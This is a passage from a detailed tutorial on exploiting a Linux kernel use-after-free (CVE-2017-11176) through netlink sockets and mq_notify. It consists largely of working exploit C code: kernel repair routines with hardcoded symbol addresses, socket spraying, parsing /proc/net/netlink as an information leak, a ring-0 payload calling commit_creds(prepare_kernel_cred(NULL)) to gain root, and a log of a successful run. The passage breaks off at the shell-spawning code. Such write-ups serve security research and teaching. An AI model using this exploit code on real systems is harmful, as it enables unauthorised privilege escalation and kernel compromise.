In the previous section, we saw that we can fix the _pprev_ pointer of our
reallocated element by walking the bucket list. We still need to restore the
_next_ pointer prior calling _\_\_hlist\_del\(\)_. However we don't know where
to make it point as the only link to the "next" element has been overwritten
during the reallocation. So, what can we do?

At the very least, we can **scan the whole memory** to retrieve every
_netlink\_sock_ object. Remember, the SLAB keeps track of partial/full slabs.
That is, we can scan the kmalloc-1024 slabs, check that those objects are
sockets \(with _f\_ops_ field\) of type _netlink\_sock_ \(e.g. _private\_data-
>sock->ops == &netlink\_ops_\) with protocol _NETLINK\_USERSOCK_ , etc. Then,
we can check that one of these objects has its _pprev_ field pointing to our
reallocated element. It will work, but scanning the memory can take a lot of
time. Please note that sometimes \(depending on your exploit\) it is the only
way to fix the kernel\!

**NOTE** : it can be harder to do it on a system using SLUB as it doesn't keep
track of "full" slabs. You will need to retrieve them by parsing the _struct
page_ , etc.

Instead, what we will try to do here is to **setup a "guard" element that is
located just after our reallocated element**. That is, we can retrieve its
address with the help of the _file descriptor table_ \(just like we did with
our reallocated element\).

Alas, this is not _that_ easy:

  1. we cannot predict in which bucket an element will land because of the hash function
  2. elements are inserted at the head of a bucket list \(i.e. we can't put it "after"\)

Because of 2\), the guard element should be inserted **prior** our
target/reallocated element. But how to deal with 1\)?

Maybe, the hash function is "reversible"? Don't think so... Remember, the hash
function uses a _pid_ and the _hash- >rnd_ values. The later is unknown
**before** exploiting the bug.

**The solution is to actually create a lot of netlink sockets \(similar to
spraying\). Chances are that two of our sockets will be adjacent in a bucket
list**. But then, how to detect it?

In this kind of situation, where you are missing something, you need a friend:
**an information leak**.

The Linux kernel has a lot of information leak of various kinds. Some comes
from a bug and some are "legitimates". We will use the latter. In particular,
there is a location that is full of them: **the _proc_ file system**.

**NOTE** : The _proc fs_ is a pseudo file system which only exists in memory
and is used to get information from the kernel and/or set system-wide
settings. The API used to manipulate them is **seq\_file**. Please read the
SeqFileHowTo to have a better understanding.

### ProcFS to The Rescue\!

More specifically, we will use **/proc/net/netlink** which is still \(at the
time of writing\) world-readable. The aforementioned proc fs file is created
here:

[code]

    static int __net_init netlink_net_init(struct net *net)
    {
    #ifdef CONFIG_PROC_FS
        if (!proc_net_fops_create(net, "netlink", 0, &netlink_seq_fops))
            return -ENOMEM;
    #endif
        return 0;
    }
    
[/code]

And uses the following callbacks:

[code]

    static const struct seq_operations netlink_seq_ops = {
        .start  = netlink_seq_start,
        .next   = netlink_seq_next,   // <----- this
        .stop   = netlink_seq_stop,
        .show   = netlink_seq_show,   // <----- this
    };
    
[/code]

A typical output is:

[code]

    $ cat /proc/net/netlink 
    sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks     Drops
    ffff88001eb47800 0   0      00000000 0        0        (null) 2        0       
    ffff88001fa66800 6   0      00000000 0        0        (null) 2        0       
    ...
    
[/code]

Wow\! It even **leaks kernel pointers**\! Each line being printed by
_netlink\_seq\_show\(\)_ :

[code]

    static int netlink_seq_show(struct seq_file *seq, void *v)
    {
        if (v == SEQ_START_TOKEN)
            seq_puts(seq,
                 "sk       Eth Pid    Groups   "
                 "Rmem     Wmem     Dump     Locks     Drops\n");
        else {
            struct sock *s = v;
            struct netlink_sock *nlk = nlk_sk(s);
    
            seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %-8d %-8d\n", // <----- VULNERABILITY (patched)
                   s,
                   s->sk_protocol,
                   nlk->pid,
                   nlk->groups ? (u32)nlk->groups[0] : 0,
                   sk_rmem_alloc_get(s),
                   sk_wmem_alloc_get(s),
                   nlk->cb,
                   atomic_read(&s->sk_refcnt),
                   atomic_read(&s->sk_drops)
                );
    
        }
        return 0;
    }
    
[/code]

The format string of _seq\_printf\(\)_ uses **%p** instead of **%pK** to dump
the sock's address. Note that this vulnerability has already been fixed with
the help of kptr\_restrict. With the "K" modifier, the address printed will be
_0000000000000000_ for normal users. **Let's assume that is the case**. What
other things can we get with this file?

Let's have a look to _netlink\_seq\_next\(\)_ which is in charge to select the
next _netlink\_sock_ that will be printed:

[code]

    static void *netlink_seq_next(struct seq_file *seq, void *v, loff_t *pos)
    {
        struct sock *s;
        struct nl_seq_iter *iter;
        int i, j;
    
      // ... cut ...
    
        do {
            struct nl_pid_hash *hash = &nl_table[i].hash;
    
            for (; j <= hash->mask; j++) {
                s = sk_head(&hash->table[j]);
                while (s && sock_net(s) != seq_file_net(seq))
                    s = sk_next(s);                         // <----- NULL-deref'ed here ("cat /proc/net/netlink")
                if (s) {
                    iter->link = i;
                    iter->hash_idx = j;
                    return s;
                }
            }
    
            j = 0;
        } while (++i < MAX_LINKS);
    
      // ... cut ...
    }
    
[/code]

That is, it walks every hash tables from 0 to _MAX\_LINKS_. Then, for each
table, it walks every bucket from 0 to _hash- >mask_. And finally, for each
bucket, it walks from the first element to the last.

In other words, **it prints elements "in order"**. Can you see it coming? :-\)

### The Solution

Let's suppose we have created a lot of netlink sockets. By scanning this
_procfs_ file we can know if two of our netlink sockets are "adjacent". This
is the information leak we were lacking\!

**BEWARE\! If we see two of our netlink sockets printed one after the other
does NOT mean they are actually adjacent.**

It either means that:

  1. they are adjacent OR
  2. the first element is the last element of a bucket and the second element is the first element of ANOTHER bucket

**NOTE** : For the rest of this article we will call the first element the
**target** and the second element the **guard**.

So, if we are in the first case, removing the guard element will fix up the
_next_ field of our target \(cf. Fixing a Corrupted List\). In the second
case, removing the guard will actually do nothing to our target.

What do we know about the last element in a hash list? The next pointer is
NULL. That is, we can set the value of the _next_ pointer of our target to
NULL during the reallocation. If we were in the second case, the _next_
pointer would then be "already" fixed. But, guess what...

**The _next_ pointer is the FIRST field of _netlink\_sock_ and is the ONLY
field that we DO NOT CONTROL with our reallocation primitive...** It matches
the _cmsg\_len_ which is 1024 in our case \(cf. part 3\).

During the bucket list walking \(which deref _next_ pointers\), it is expected
that the _next_ field of last element is set to _NULL_. However, it is 1024 in
our case. That is, the kernel tries to dereference it but **any dereference
below the _mmap\_min\_addr_ limit provokes a NULL-deref**. That's why we are
crashing with "cat /proc/net/netlink".

**NOTE** : You can retrieve this value with _/proc/sys/vm/mmap\_min\_addr_
which is something like 0x10000.

Note that we provoked the crash here \(on purpose\), yet **this crash can
occur whenever our target's bucket list is walked**. In particular, another
application using _NETLINK\_USERSOCK_ may generate a crash by inserting an
element in our bucket list \(i.e. collision\). Things get even worse if a
"dilution" happens as every bucket list is walked in order to re-insert all
elements. We definitely need to fix this\!

Well, this is actually pretty simple... just need to reset our reallocation
_next_ pointer to NULL during kernel reparation if we are in the first
scenario.

In the end, considering we have setup and released a "guard" element, fixing
the hash table can be done as follows:

  1. Retrieve the _NETLINK\_USERSOCK_ 's hash table
  2. Replay the _nl\_pid\_hashfn\(\)_ hash function to retrieve our target's bucket list
  3. Walk the bucket list while keeping a "prev" pointer until we find our target
  4. Inspect the "next" pointer of our target. If it is 1024, we are in the first scenario, just reset it to _NULL_. Otherwise, do nothing, the guard element already fixed us
  5. Fix our target's "pprev" field
  6. Do a _\_\_hlist\_del\(\)_ operation to fix the bucket's list \(hence the dangling pointers\)
  7. Stop walking

Alright, let's implement it:

[code]

    // kernel function symbols
    #define NL_PID_HASHFN         ((void*) 0xffffffff814b6da0)
    #define NETLINK_TABLE_GRAB    ((void*) 0xffffffff814b7ea0)
    #define NETLINK_TABLE_UNGRAB  ((void*) 0xffffffff814b73e0)
    #define NL_TABLE_ADDR         ((void*) 0xffffffff824528c0)
    
    struct hlist_node {
      struct hlist_node *next, **pprev;
    };
    
    struct hlist_head {
      struct hlist_node *first;
    };
    
    struct nl_pid_hash {
      struct hlist_head* table;
      uint64_t rehash_time;
      uint32_t mask;
      uint32_t shift;
      uint32_t entries;
      uint32_t max_shift;
      uint32_t rnd;
    };
    
    struct netlink_table {
      struct nl_pid_hash hash;
      void* mc_list;
      void* listeners;
      uint32_t nl_nonroot;
      uint32_t groups;
      void* cb_mutex;
      void* module;
      uint32_t registered;
    };
    
    typedef void (*netlink_table_grab_func)(void);
    typedef void (*netlink_table_ungrab_func)(void);
    typedef struct hlist_head* (*nl_pid_hashfn_func)(struct nl_pid_hash *hash, uint32_t pid);
    
    #define netlink_table_grab() \
      (((netlink_table_grab_func)(NETLINK_TABLE_GRAB))())
    #define netlink_table_ungrab() \
      (((netlink_table_ungrab_func)(NETLINK_TABLE_UNGRAB))())
    #define nl_pid_hashfn(hash, pid) \
     (((nl_pid_hashfn_func)(NL_PID_HASHFN))(hash, pid))
    
    static void payload(void)
    {
      struct task_struct *current = get_current(restored_rsp);
      struct socket *sock = current->files->fdt->fd[unblock_fd]->private_data;
      void *sk;
    
      sk = sock->sk; // keep it for list walking
      sock->sk = NULL; // fix the 'sk' dangling pointer
    
      // lock all hash tables
      netlink_table_grab();
    
      // retrieve NETLINK_USERSOCK's hash table
      struct netlink_table *nl_table = * (struct netlink_table**)NL_TABLE_ADDR; // deref it!
      struct nl_pid_hash *hash = &(nl_table[NETLINK_USERSOCK].hash);
    
      // retrieve the bucket list
      struct hlist_head *bucket = nl_pid_hashfn(hash, g_target.pid); // the original pid
    
      // walk the bucket list
      struct hlist_node *cur;
      struct hlist_node **pprev = &bucket->first;
      for (cur = bucket->first; cur; pprev = &cur->next, cur = cur->next)
      {
        // is this our target ?
        if (cur == (struct hlist_node*)sk)
        {
          // fix the 'next' and 'pprev' field
          if (cur->next == (struct hlist_node*)KMALLOC_TARGET) // 'cmsg_len' value (reallocation)
            cur->next = NULL; // first scenario: was the last element in the list
          cur->pprev = pprev;
    
          // __hlist_del() operation (dangling pointers fix up)
          *(cur->pprev) = cur->next;
          if (cur->next)
            cur->next->pprev = pprev;
    
          hash->entries--; // make it clean
    
          // stop walking
          break;
        }
      }
    
      // release the lock
      netlink_table_ungrab();
    }
    
[/code]

Note that **the whole operation is made under lock** with
_netlink\_table\_grab\(\)_ and _netlink\_table\_ungrab\(\)_ , just like the
kernel do\! Otherwise, we might corrupt the kernel if another thread is
modifying it.

It wasn't _that_ terrible after all :-\)

Psst\! The above code only works if we have setup a "guard" element, so...
let's do it\!

### Setting Up the Guard

As stated above, we will do a spray-like technique in order to setup the
guard. The idea being to create a lot of netlink socket, autobind them and
then scan the hash table to "select" two sockets that we own which are
potentially adjacent.

First, let's create a _create\_netlink\_candidate\(\)_ function that creates a
socket and autobind it:

[code]

    struct sock_pid
    {
      int sock_fd;
      uint32_t pid;
    };
    
    /*
     * Creates a NETLINK_USERSOCK netlink socket, binds it and retrieves its pid.
     * Argument @sp must not be NULL.
     *
     * Returns 0 on success, -1 on error.
     */
    
    static int create_netlink_candidate(struct sock_pid *sp)
    {
      struct sockaddr_nl addr = {
        .nl_family = AF_NETLINK,
        .nl_pad = 0,
        .nl_pid = 0, // zero to use netlink_autobind()
        .nl_groups = 0 // no groups
    
      };
      size_t addr_len = sizeof(addr);
    
      if ((sp->sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) == -1)
      {
        perror("[-] socket");
        goto fail;
      }
    
      if (_bind(sp->sock_fd, (struct sockaddr*)&addr, sizeof(addr)) == -1)
      {
        perror("[-] bind");
        goto fail_close;
      }
    
      if (_getsockname(sp->sock_fd, &addr, &addr_len))
      {
        perror("[-] getsockname");
        goto fail_close;
      }
    
      sp->pid = addr.nl_pid;
    
      return 0;
    
    fail_close:
      close(sp->sock_fd);
    fail:
      sp->sock_fd = -1;
      sp->pid = -1;
      return -1;
    }
    
[/code]

Next, we need to parse the _/proc/net/netlink_ file. In addition, the
_parse\_proc\_net\_netlink\(\)_ allocates a _pids_ array that holds **all**
netlink socket pids \(including the one we do not own\):

[code]

    /*
     * Parses @proto hash table from '/proc/net/netlink' and allocates/fills the
     * @pids array. The total numbers of pids matched is stored in @nb_pids.
     *
     * A typical output looks like:
     *
     *    $ cat /proc/net/netlink
     *    sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks     Drops
     *    ffff88001eb47800 0   0      00000000 0        0        (null) 2        0       
     *    ffff88001fa65800 6   0      00000000 0        0        (null) 2        0     
     *
     * Every line is printed from netlink_seq_show():
     *
     *    seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %-8d %-8d\n"
     *
     * Returns 0 on success, -1 on error.
     */
    
    static int parse_proc_net_netlink(int **pids, size_t *nb_pids, uint32_t proto)
    {
      int proc_fd;
      char buf[4096];
      int ret;
      char *ptr;
      char *eol_token;
      size_t nb_bytes_read = 0;
      size_t tot_pids = 1024;
    
      *pids = NULL;
      *nb_pids = 0;
    
      if ((*pids = calloc(tot_pids, sizeof(**pids))) == NULL)
      {
        perror("[-] not enough memory");
        goto fail;
      }
    
      memset(buf, 0, sizeof(buf));
      if ((proc_fd = _open("/proc/net/netlink", O_RDONLY)) < 0)
      {
        perror("[-] open");
        goto fail;
      }
    
    read_next_block:
      if ((ret = _read(proc_fd, buf, sizeof(buf))) < 0)
      {
        perror("[-] read");
        goto fail_close;
      }
      else if (ret == 0) // no more line to read
      {
        goto parsing_complete;
      }
    
      ptr = buf;
    
      if (strstr(ptr, "sk") != NULL) // this is the first line
      { 
        if ((eol_token = strstr(ptr, "\n")) == NULL)
        {
          // XXX: we don't handle this case, we can't even read one line...
          printf("[-] can't find end of first line\n");
          goto fail_close;
        }
        nb_bytes_read += eol_token - ptr + 1;
        ptr = eol_token + 1; // skip the first line
      }
    
    parse_next_line:
      // this is a "normal" line
      if ((eol_token = strstr(ptr, "\n")) == NULL) // current line is incomplete
      {
        if (_lseek(proc_fd, nb_bytes_read, SEEK_SET) == -1)
        {
          perror("[-] lseek");
          goto fail_close;
        }
        goto read_next_block;
      }
      else
      {
        void *cur_addr;
        int cur_proto;
        int cur_pid;
    
        sscanf(ptr, "%p %d %d", &cur_addr, &cur_proto, &cur_pid);
    
        if (cur_proto == proto)
        {
          if (*nb_pids >= tot_pids) // current array is not big enough, make it grow
          {
            tot_pids *= 2;
            if ((*pids = realloc(*pids, tot_pids * sizeof(int))) == NULL)
            {
              printf("[-] not enough memory\n");
              goto fail_close;
            }
          }
    
          *(*pids + *nb_pids) = cur_pid;
          *nb_pids = *nb_pids + 1;
        }
    
        nb_bytes_read += eol_token - ptr + 1;
        ptr = eol_token + 1;
        goto parse_next_line;
      }
    
    parsing_complete:
      close(proc_fd);
      return 0;
    
    fail_close:
      close(proc_fd);
    fail:
      if (*pids != NULL)
        free(*pids);
      *nb_pids = 0;
      return -1;
    }
    
[/code]

Finally, plug these guys together with _find\_netlink\_candidates\(\)_ which
does:

  1. create a lot of netlink sockets \(spray\)
  2. parse the _/proc/net/netlink_ file
  3. try to find two sockets that we own and are consecutive
  4. release all other netlink sockets \(cf. next section\)

[code]

    #define MAX_SOCK_PID_SPRAY 300
    
    /*
     * Prepare multiple netlink sockets and search "adjacent" ones. Arguments
     * @target and @guard must not be NULL.
     *
     * Returns 0 on success, -1 on error.
     */
    
    static int find_netlink_candidates(struct sock_pid *target, struct sock_pid *guard)
    {
      struct sock_pid candidates[MAX_SOCK_PID_SPRAY];
      int *pids = NULL;
      size_t nb_pids;
      int i, j;
      int nb_owned;
      int ret = -1;
    
      target->sock_fd = -1;
      guard->sock_fd = -1;
    
      // allocate a bunch of netlink sockets
      for (i = 0; i < MAX_SOCK_PID_SPRAY; ++i)
      {
        if (create_netlink_candidate(&candidates[i]))
        { 
          printf("[-] failed to create a new candidate\n");
          goto release_candidates;
        }
      }
      printf("[+] %d candidates created\n", MAX_SOCK_PID_SPRAY);
    
      if (parse_proc_net_netlink(&pids, &nb_pids, NETLINK_USERSOCK))
      {
        printf("[-] failed to parse '/proc/net/netlink'\n");
        goto release_pids;
      }
      printf("[+] parsing '/proc/net/netlink' complete\n");
    
      // find two consecutives pid that we own (slow algorithm O(N*M))
      i = nb_pids;
      while (--i > 0)
      {
        guard->pid = pids[i];
        target->pid = pids[i - 1];
        nb_owned = 0;
    
        // the list is not ordered by pid, so we do a full walking
        for (j = 0; j < MAX_SOCK_PID_SPRAY; ++j) 
        {
          if (candidates[j].pid == guard->pid)
          {
            guard->sock_fd = candidates[j].sock_fd;
            nb_owned++;
          }
          else if (candidates[j].pid == target->pid)
          {
            target->sock_fd = candidates[j].sock_fd;
            nb_owned++;
          }
    
          if (nb_owned == 2)
            goto found;
        }
    
        // reset sock_fd to release them
        guard->sock_fd = -1;
        target->sock_fd = -1;
      }
    
      // we didn't found any valid candidates, release and quit
      goto release_pids;
    
    found:
      printf("[+] adjacent candidates found!\n");
      ret = 0; // we succeed
    
    release_pids:
      i = MAX_SOCK_PID_SPRAY; // reset the candidate counter for release
      if (pids != NULL)
        free(pids);
    
    release_candidates:
      while (--i >= 0)
      {
        // do not release the target/guard sockets
        if ((candidates[i].sock_fd != target->sock_fd) &&
            (candidates[i].sock_fd != guard->sock_fd))
        {
          close(candidates[i].sock_fd);
        }
      }
    
      return ret;
    } 
    
[/code]

Because of the new _create\_netlink\_candidate\(\)_ function, we won't use the
previous _prepare\_blocking\_socket\(\)_ function anymore. However, we still
need to make our target block by filling its receive buffer. In addition, we
will use the "guard" to fill it. This is implemented in
_fill\_receive\_buffer\(\)_ :

[code]

    static int fill_receive_buffer(struct sock_pid *target, struct sock_pid *guard)
    {
      char buf[1024*10];
      int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
    
      struct sockaddr_nl addr = {
        .nl_family = AF_NETLINK,
        .nl_pad = 0,
        .nl_pid = target->pid, // use the target's pid
        .nl_groups = 0 // no groups
      };
    
      struct iovec iov = {
        .iov_base = buf,
        .iov_len = sizeof(buf)
      };
    
      struct msghdr mhdr = {
        .msg_name = &addr,
        .msg_namelen = sizeof(addr),
        .msg_iov = &iov,
        .msg_iovlen = 1,
        .msg_control = NULL,
        .msg_controllen = 0,
        .msg_flags = 0, 
      };
    
      printf("[ ] preparing blocking netlink socket\n");
    
      if (_setsockopt(target->sock_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
        perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
      else
        printf("[+] receive buffer reduced\n");
    
      printf("[ ] flooding socket\n");
      while (_sendmsg(guard->sock_fd, &mhdr, MSG_DONTWAIT) > 0)
        ;
      if (errno != EAGAIN)
      {
        perror("[-] sendmsg");
        goto fail;
      }
      printf("[+] flood completed\n");
    
      printf("[+] blocking socket ready\n");
    
      return 0;
    
    fail:
      printf("[-] failed to prepare blocking socket\n");
      return -1;
    }
    
[/code]

Let's edit the _main\(\)_ function to call _find\_netlink\_candidates\(\)_
after initializing the reallocation. Note that we do not use the **sock\_fd**
variable anymore but the _g\_target.sock\_fd_. Both _g\_target_ and _g\_guard_
are declared globally, so we can use them in _payload\(\)_. Also, remember to
**close the guard AFTER the reallocation** to handle the "scenario 1" \(guard
is adjacent to target\):

[code]

    static struct sock_pid g_target;
    static struct sock_pid g_guard;
    
    int main(void)
    {
      // ... cut ...
    
      printf("[+] reallocation ready!\n");
    
      if (find_netlink_candidates(&g_target, &g_guard))
      {
        printf("[-] failed to find netlink candidates\n");
        goto fail;
      }
      printf("[+] netlink candidates ready:\n");
      printf("[+] target.pid = %d\n", g_target.pid);
      printf("[+] guard.pid  = %d\n", g_guard.pid);
    
      if (fill_receive_buffer(&g_target, &g_guard))
        goto fail;
    
      if (((unblock_fd = _dup(g_target.sock_fd)) < 0) ||
          ((sock_fd2 = _dup(g_target.sock_fd)) < 0))
      {
        perror("[-] dup");
        goto fail;
      }
      printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);
    
      // trigger the bug twice AND immediatly realloc!
      if (decrease_sock_refcounter(g_target.sock_fd, unblock_fd) ||
          decrease_sock_refcounter(sock_fd2, unblock_fd))
      {
        goto fail;
      }
      realloc_NOW();
    
      // close it before invoking the arbitrary call
      printf("[ ] closing guard socket\n");
      close(g_guard.sock_fd);                       // <----- !
    
      // ... cut ...
    }
    
[/code]

Nice, it is time for a crash test\!

[code]

    $ ./exploit
    [ ] -={ CVE-2017-11176 Exploit }=-
    [+] successfully migrated to CPU#0
    [+] userland structures allocated:
    [+] g_uland_wq_elt = 0x120001000
    [+] g_fake_stack   = 0x20001000
    [+] ROP-chain ready
    [ ] optmem_max = 20480
    [+] can use the 'ancillary data buffer' reallocation gadget!
    [+] g_uland_wq_elt.func = 0xffffffff8107b6b8
    [+] reallocation data initialized!
    [ ] initializing reallocation threads, please wait...
    [+] 200 reallocation threads ready!
    [+] reallocation ready!
    [+] 300 candidates created
    [+] parsing '/proc/net/netlink' complete
    [+] adjacent candidates found!
    [+] netlink candidates ready:
    [+] target.pid = -5723
    [+] guard.pid  = -5708
    [ ] preparing blocking netlink socket
    [+] receive buffer reduced
    [ ] flooding socket
    [+] flood completed
    [+] blocking socket ready
    [+] netlink fd duplicated (unblock_fd=403, sock_fd2=404)
    [ ] creating unblock thread...
    [+] unblocking thread has been created!
    [ ] get ready to block
    [ ][unblock] closing 468 fd
    [ ][unblock] unblocking now
    [+] mq_notify succeed
    [ ] creating unblock thread...
    [+] unblocking thread has been created!
    [ ] get ready to block
    [ ][unblock] closing 404 fd
    [ ][unblock] unblocking now
    [+] mq_notify succeed
    [ ] closing guard socket
    [ ] addr_len = 12
    [ ] addr.nl_pid = 296082670
    [ ] magic_pid = 296082670
    [+] reallocation succeed! Have fun :-)
    [ ] invoking arbitrary call primitive...
    [+] arbitrary call succeed!
    [+] exploit complete!
    $ cat /proc/net/netlink                                                                                     
    sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks     Drops
    ffff88001eb47800 0   0      00000000 0        0        (null) 2        0       
    ffff88001fa66800 6   0      00000000 0        0        (null) 2        0       
    ffff88001966ac00 9   1125   00000000 0        0        (null) 2        0       
    ffff88001a2a0800 9   0      00000000 0        0        (null) 2        0       
    ffff88001e24f400 10  0      00000000 0        0        (null) 2        0       
    ffff88001e0a2c00 11  0      00000000 0        0        (null) 2        0       
    ffff88001f492c00 15  480    00000000 0        0        (null) 2        0       
    ffff88001f492400 15  479    00000001 0        0        (null) 2        0       
    ffff88001f58f800 15  -4154  00000000 0        0        (null) 2        0       
    ffff88001eb47000 15  0      00000000 0        0        (null) 2        0       
    ffff88001e0fe000 16  0      00000000 0        0        (null) 2        0       
    ffff88001e0fe400 18  0      00000000 0        0        (null) 2        0       
    ffff8800196bf800 31  1322   00000001 0        0        (null) 2        0       
    ffff880019698000 31  0      00000000 0        0        (null) 2        0       
    
[/code]

**EUREKA\!**

**NO MORE CRASH\!**

**THE KERNEL IS REPAIRED\!**

**THE EXPLOIT WAS SUCCESSFUL\!**

**WE ARE DONE\!**

W00t\! We can breathe now...

Hopefully, we repaired "everything" and didn't forget any dangling pointer or
other stuff. No one is perfect...

So, what's next? Before going into the "profit" stage of the exploit, we would
like to get back a bit to explain why we released the netlink sockets in
_find\_netlink\_candidates\(\)_.

* * *
# Reliability

As mentioned in the previous section, we overlooked the fact that we spray and
release the netlink candidates in _find\_netlink\_candidates\(\)_. The reason
why we do this is to **improve the exploit reliability**.

Let's enumerate what can go wrong with this exploit \(considering you didn't
mess up with _hardcoded_ offsets/addresses\):

  * The reallocation fails
  * A concurrent binary \(or the kernel itself\) tries to walk our target's bucket list

As stated in part 3, improving reallocation is a complex topic. You really
need to understand the memory subsystem in detail if you want to find a way to
get a better reallocation success rate. This is out-of-topic. What we did in
part 3 is simply a "heap spraying" in combination with CPU fixation. It will
work "most of the time", but there is room for improvement. Fortunately, our
object lives in the _kmalloc-1024_ , a _not-so-used_ kmemcache.

In the "Repair the Kernel" section, we saw that our target's bucket list can
be walked in two cases:

  1. a netlink socket has a pid which **collides** with our target's bucket
  2. a **dilution** occurs, the kernel walk every bucket list

In both cases, until we repair the kernel, this will provoke a NULL-deref
because we do not control the first field of our reallocation data \(hence
_next_ is 1024, a non NULL value\).

To minimize both the risk of a dilution and a collision we create \(and
autobind\) a lot of netlink sockets. The more bucket there is, the less are
the chances a collision happens. Hopefully, the Jenkins Hash function produces
"uniform" values so we have something like "1 / \(nb\_buckets\)" probability
that a collision occurs during an insertion.

**With 256 buckets, we have a 0.4% probability that such collision occurs**.
This is "acceptable".

Next, come the "dilution" issue. A dilution happens in two cases:

  1. The hash table grows
  2. Insertion into a "charged" bucket \(i.e. collision\)

We already deal with 2\), see above.

In order to deal with 1\), we **preemptively make it grow** by allocating a
lot of netlink socket. And because the hash table is **never shrinked** by
releasing all those sockets \(but our target/guard\) the table is mostly
empty.

**That is, we can only be screwed if another program is using
_NETLINK\_USERSOCK_ intensively \(it can use other netlink protocol freely\)
with a lot of different sockets AND all of them are bound\!** How to compute
the probability? Well... you never know what other programs are running...
It's part of the game\!

We could play, with "/proc/net/netlink" to check the utilization and decide
whether or not to run the exploit, do some statistics analysis, etc.

The following diagram shows a "danger" map of things that can crash the kernel
in the course of the exploit:

<img src='img/Temp2_4909.png' width='547' height='561' />

* * *
# Getting root

What we will do here is to get root.

Depending on your motivations, you can do many more in ring-0 than in ring-3
\(escaping container/vm/trustzone, patching the kernel, extract/scan
memory/secrets, etc...\), but people like the _mighty \#_... :-\)

So, from our "unprivileged" user point-of-view this is a privilege escalation.
However, considering we can now execute arbitrary code in ring-0, going back
to ring-3 is actually a privilege de-escalation.

What defines the privilege of a task in Linux? The **struct cred** :

[code]

    struct cred {
        atomic_t    usage;
      // ... cut ...
        uid_t       uid;        /* real UID of the task */
        gid_t       gid;        /* real GID of the task */
        uid_t       suid;       /* saved UID of the task */
        gid_t       sgid;       /* saved GID of the task */
        uid_t       euid;       /* effective UID of the task */
        gid_t       egid;       /* effective GID of the task */
        uid_t       fsuid;      /* UID for VFS ops */
        gid_t       fsgid;      /* GID for VFS ops */
        unsigned    securebits; /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;   /* capability bounding set */
      // ... cut ...
    #ifdef CONFIG_SECURITY
        void        *security;  /* subjective LSM security */
    #endif
      // ... cut ...
    };
    
[/code]

Each task \(i.e. _task\_struct_\), has two _struct creds_ :

[code]

    struct task_struct {
      // ... cut ...
        const struct cred *real_cred;   /* objective and real subjective task credentials (COW) */
        const struct cred *cred;    /* effective (overridable) subjective task
      // ... cut ...
    };
    
[/code]

You might already be familiar with **uid/gid** and **euid/egid**.
Surprisingly, what matters the most is actually capabilities\! If you look at
various system call \(e.g. _chroot\(\)_\), most of them start with
**\!capable\(CAP\_SYS\_xxx\)** code:

[code]

    SYSCALL_DEFINE1(chroot, const char __user *, filename)
    {
      // ... cut ...
    
        error = -EPERM;
        if (!capable(CAP_SYS_CHROOT))
            goto dput_and_out;
    
      // ... cut ...
    }
    
[/code]

You will rarely see \(ever?\) a code with _\(current- >real\_cred->uid == 0\)_
in kernel code \(unlike userland code\). In other words, just "writing zeroes"
into your own _struct cred_ ids is not enough.

In addition, you will see a lot of functions starting with
**security\_xxx\(\)** prefixe. For instance:

[code]

    static inline int __sock_sendmsg(struct kiocb *iocb, struct socket *sock,
                     struct msghdr *msg, size_t size)
    {
        int err = security_socket_sendmsg(sock, msg, size);
    
        return err ?: __sock_sendmsg_nosec(iocb, sock, msg, size);
    }
    
[/code]

This kind of function comes from **Linux Security Modules \(LSM\)** and uses
the _security_ field of a _struct cred_. A well-known LSM is _SELinux_. The
main purpose of LSM is to enforce access rights.

So, there are: uids, capabilities, security, etc. What should we do? Just
patch **the whole struct cred**? You can, but there is something better...
Change the _real\_cred_ and _cred_ pointers in our _task\_struct_? Getting
closer...

The problem with "overwriting" those pointers manually is: what value will you
overwrite with? Scan root's task and use those values? Nope\! **The _struct
cred_ are refcounted\!** Without taking a reference, you just introduced a
double refcounter decrease \(just like our bug ironically\).

There is actually a function that does all of those refcounting housekeeping
for you:

[code]

    int commit_creds(struct cred *new)
    {
        struct task_struct *task = current;
        const struct cred *old = task->real_cred;
    
      // ... cut ...
    
        get_cred(new);      // <---- take a reference
    
      // ... cut ...
    
        rcu_assign_pointer(task->real_cred, new);
        rcu_assign_pointer(task->cred, new);
    
      // ... cut ...
    
        /* release the old obj and subj refs both */
        put_cred(old);      // <----- release previous references
        put_cred(old);
        return 0;
    }
    
[/code]

Nice, but it needs a valid _struct cred_ in parameters. So, it is time to meet
his buddy: **prepare\_kernel\_cred\(\)** :

[code]

    struct cred *prepare_kernel_cred(struct task_struct *daemon)
    {
        const struct cred *old;
        struct cred *new;
    
        new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
        if (!new)
            return NULL;
    
        if (daemon)
            old = get_task_cred(daemon);
        else
            old = get_cred(&init_cred);     // <----- THIS!
    
        validate_creds(old);
    
        *new = *old;                      // <----- copy all fields
    
      // ... cut ...
    }
    
[/code]

Basically, what _prepare\_kernel\_cred\(\)_ does is: allocates a new _struct
cred_ and fills it from the current's one. However, **if the parameter is
NULL, it will copy the _init_ process' cred**, the most privilegied process on
the system \(which also runs in "root"\)\!

You get it, we only need to call this:

[code]

    commit_cred(prepare_kernel_cred(NULL));
    
[/code]

That's all\! In addition, it will release our previous _struct cred_ cleanly.
Let's update the exploit:

[code]

    #define COMMIT_CREDS          ((void*) 0xffffffff810b8ee0)
    #define PREPARE_KERNEL_CRED   ((void*) 0xffffffff810b90c0)
    
    typedef int (*commit_creds_func)(void *new);
    typedef void* (*prepare_kernel_cred_func)(void *daemon);
    
    #define commit_creds(cred) \
      (((commit_creds_func)(COMMIT_CREDS))(cred))
    #define prepare_kernel_cred(daemon) \
      (((prepare_kernel_cred_func)(PREPARE_KERNEL_CRED))(daemon))
    
    static void payload(void)
    {
      // ... cut ...
    
      // release the lock
      netlink_table_ungrab();
    
      // privilege (de-)escalation
      commit_creds(prepare_kernel_cred(NULL));
    }
    
[/code]

And add the "popping shell" code:

[code]

    int main(void)
